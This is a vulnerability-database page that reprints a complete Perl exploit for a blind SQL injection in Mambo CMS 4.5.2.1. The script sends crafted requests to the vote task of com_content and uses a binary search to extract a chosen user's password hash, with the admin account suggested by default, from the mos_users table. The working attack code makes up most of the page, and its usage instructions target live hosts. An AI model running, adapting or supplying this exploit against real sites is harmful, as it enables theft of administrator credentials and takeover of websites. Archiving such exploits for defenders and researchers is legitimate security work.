Lucene search
K

Mambo <= 4.5.2.1 - SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Mambo <= 4.5.2.1 SQL Injection Exploit by RST/GH

Code

                                                #!/usr/bin/perl

### Mambo &#60;= 4.5.2.1, MySQL =&#62; 4.1 sql injection exploit by RST/GHC
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
### (c)oded by 1dt.w0lf , 21.06.05
### http://rst.void.ru , http://ghc.ru
### ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


use IO::Socket;

if (@ARGV &#60; 3) { &usage; }

$server    = $ARGV[0];
$path      = $ARGV[1];
$member_id = $ARGV[2];

$news_id = 1;
$news_itemid = 1;

$server =~ s!(http:\/\/)!!;

$request  = &#39;http://&#39;;
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;
&head;
print &#34;\r\n&#34;;
print &#34; [~]  SERVER : $server\r\n&#34;;
print &#34; [~]    PATH : $path\r\n&#34;;
print &#34; [~] USER ID : $member_id\r\n&#34;;
print &#34; [~] SEARCHING PASSWORD ... [|]&#34;;

while(1)
{
if(&found(47,58)==0) { &found(96,103); } 
$char = $i;
if ($char==&#34;0&#34;) 
 { 
 if(length($allchar) &#62; 0){
 print qq{\b\b DONE ] 
 ---------------------------------------------------------------
 USER ID : $member_id
    HASH : $allchar
 ---------------------------------------------------------------
 };
 }
 else
 {
 print &#34;\b\b FAILED ]&#34;;
 }
 exit();  
 }
else 
 {  
 $allchar .= chr($char); 
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)&#60;5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = &#34;/**/BETWEEN/**/$r/**/AND/**/$fmax&#34;;
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i&#60;$cmax)
  {
  $crcheck = &#34;=$i&#34;;
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0]; 
 $sock1 = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$server&#34;, PeerPort =&#62; &#34;80&#34;);
 printf $sock1 (&#34;GET %sindex.php?option=com_content&task=vote&id=%d&Itemid=%d&cid=1&user_rating=1,rating_count=(SELECT/**/if((ascii(substring((SELECT/**/password/**/FROM/**/mos_users/**/WHERE/**/id=%d),%d,1)))%s,1145711457,0)),lastip=666/* HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n&#34;,
 $path,$news_id,$news_itemid,$member_id,$s_num,$ccheck,$server); 
 sleep 1; 
 $sock2 = IO::Socket::INET-&#62;new( Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$server&#34;, PeerPort =&#62; &#34;80&#34;);
 printf $sock2 (&#34;GET %sindex.php?option=com_content&task=view&id=%d&Itemid=%d&cid=1 HTTP/1.0\nHost: %s\nAccept: */*\nConnection: close\n\n&#34;,
 $path,$news_id,$news_itemid,$server);

 while(&#60;$sock2&#62;) 
  {   
  if (/1145711457/) { return 1; }
  } 

 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print &#34;\b\b/]&#34;;  }
  if($status==1){ print &#34;\b\b-]&#34;;  }
  if($status==2){ print &#34;\b\b\\]&#34;; }
  if($status==3){ print &#34;\b\b|]&#34;;  }
}

sub usage()
 {
 &head;
 print q(
 USAGE
    r57mambo.pl [HOST] [/FOLDER/] [USER_ID]
  
 OPTIONS
    HOST    - Host where mambo installed
    FOLDER  - Folder where mambo installed
    USER_ID - User ID for brute (default is 62 for admin)
  
 E.G.
    r57mambo.pl http://blah.com /mambo/ 62
 ---------------------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }
sub head()
 {
 print q(
 ---------------------------------------------------------------
 Mambo &#60;= 4.5.2.1, MySQL =&#62; 4.1 sql injection exploit by RST/GHC
 ---------------------------------------------------------------
 );
 }

# milw0rm.com [2005-06-21]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15